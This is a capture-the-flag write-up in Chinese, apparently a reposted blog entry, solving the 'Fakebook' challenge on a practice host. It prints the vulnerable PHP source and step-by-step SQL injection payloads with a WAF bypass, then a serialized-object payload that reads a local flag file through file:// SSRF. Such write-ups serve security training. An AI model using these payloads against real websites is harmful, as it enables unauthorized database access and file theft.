zoukankan      html  css  js  c++  java
  • [网鼎杯]-Fakebook

    网鼎杯Fakebook

    以我的实力做出网鼎杯这道题实在不现实,不过凡事都有第一次。当时做第一道CTF题也是云里雾里,多锻炼就好了。

    0x01

    Avatar
    如图,题目是个blog板块,仔细观察以后暂时没有发现什么线索
    有大佬是用nikto扫描后台找到了爬虫协议,但是自己拿御剑就扫不出来。
    查看robots.txt,发现有文件是禁止访问的,是个网页源码的备份
    Avatar
    访问以后就把文件下载下来了,查看源码

    <?php
    
    
    class UserInfo
    {
        public $name = "";
        public $age = 0;
        public $blog = "";
    
        public function __construct($name, $age, $blog)
        {
            $this->name = $name;
            $this->age = (int)$age;
            $this->blog = $blog;
        }
    
        function get($url)
        {
            $ch = curl_init();
    
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            $output = curl_exec($ch);
            $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            if($httpCode == 404) {
                return 404;
            }
            curl_close($ch);
    
            return $output;
        }
    
        public function getBlogContents ()
        {
            return $this->get($this->blog);
        }
    
        public function isValidBlog ()
        {
            $blog = $this->blog;
            return preg_match("/^(((http(s?))://)?)([0-9a-zA-Z-]+.)+[a-zA-Z]{2,6}(:[0-9]+)?(/S*)?$/i", $blog);
        }
    
    }
    

    审计一下,有__construct就应该和序列化有关,中间的get参数没看懂,之后的参数则是会返回发布blog的内容,以及判断blog的地址是否合法
    那么回到原来的主页,点击join,发现可以添加用户名,密码,年龄,博客地址
    Avatar
    join以后页面上就有了信息,点击以后进入展示页面
    Avatar
    此时的网页url很可疑,猜测存在sql注入

    http://fb06aa1d-c058-435e-9f0a-194982cec101.node3.buuoj.cn/view.php?no=1
    

    把url放sqlmap里跑一下,能扫出来是mysql,但是跑不出名字,应该有WAF过滤
    Avatar

    0x02

    尝试手动:

    view.php?no=0 order by 4--+
    //当order by 5时报错
    view.php?no=0 union select 1,2,3,4--+
    //提示no hack
    

    猜测过滤了union select,用如下语句绕过:

    view.php?no=0 union/**/select 1,2,3,4--+
    

    内联注释/**/的语句是MYSQL才能识别,可以绕过WAF。这里多说一句,之前sqlmap我也是加载了这种绕过方式的tamper,但是最后却没有结果。需要用burpsuite抓包保存,再用sqlmap来POST注入。
    Avatar
    看到页面出现了2,之后就拿2来回显

    view.php?no=0 union/**/select 1,database(),3,4--+
    

    Avatar
    数据库名fakebook

    view.php?no=0 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'--+
    

    Avatar
    表名users

    view.php?no=0 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'--+
    

    Avatar
    列名no,username,passwd,data

    view.php?no=0 union/**/select 1,group_concat(no,username,passwd,data),3,4 from users--+
    

    获得列内容:

    1add319e4b15120f742fd3214f3ba53e0134c0efbff31125f539f7d0b8373d683036eb94ec1c9a75c82a8fe7ec8108803618663c35d00b303a26c7b81d334d364baO:8:"UserInfo":3:{s:4:"name";s:2:"ad";s:3:"age";i:22;s:4:"blog";s:37:"https://www.cnblogs.com/echoDetected/";} 
    

    得到了自己刚刚注册信息的序列化值,结合之前网页源码,判断是要传参(getBlogContents)以后网站反序列化,返回flag的值
    这里顺便注意一下网站的绝对路径,之前报错的时候也一直出现的
    Avatar

    0x03

    线索到这里就断了,我去看别人的WP,他们也不知道怎么凭空就猜出flag位置文件的,还有说是扫后台扫出来的
    现在只能猜测flag在flag.php这个文件里,基于之前出现的绝对路径,很大概率是在var/www/html/flag.php里面

    于是构造序列化的内容,里面要读取文件得使用file协议,基本的格式如下:
    file:///文件路径

    view.php?no=0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:19;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
    

    再查看网页源码就有base64加密的内容了,flag就在里面
    Avatar
    Avatar

    Reference

    [Sign]做不出ctf题的时候很痛苦,你只能眼睁睁看着其他人领先你
  • 相关阅读:
    行为型模式之Template Method模式
    【翻译】无需安装Python,就可以在.NET里调用Python库
    SciSharpCube:容器中的SciSharp,.NET机器学习开箱即用
    [翻译] NumSharp的数组切片功能 [:]
    C#
    API做翻页的两种思路
    C#相等性
    C#相等性
    SpringBoot进阶教程(五十八)整合Redis之Sentinel哨兵模式
    org.springframework.cache.interceptor.SimpleKey cannot be cast to java.lang.String
  • 原文地址:https://www.cnblogs.com/echoDetected/p/12618695.html
Copyright © 2011-2022 走看看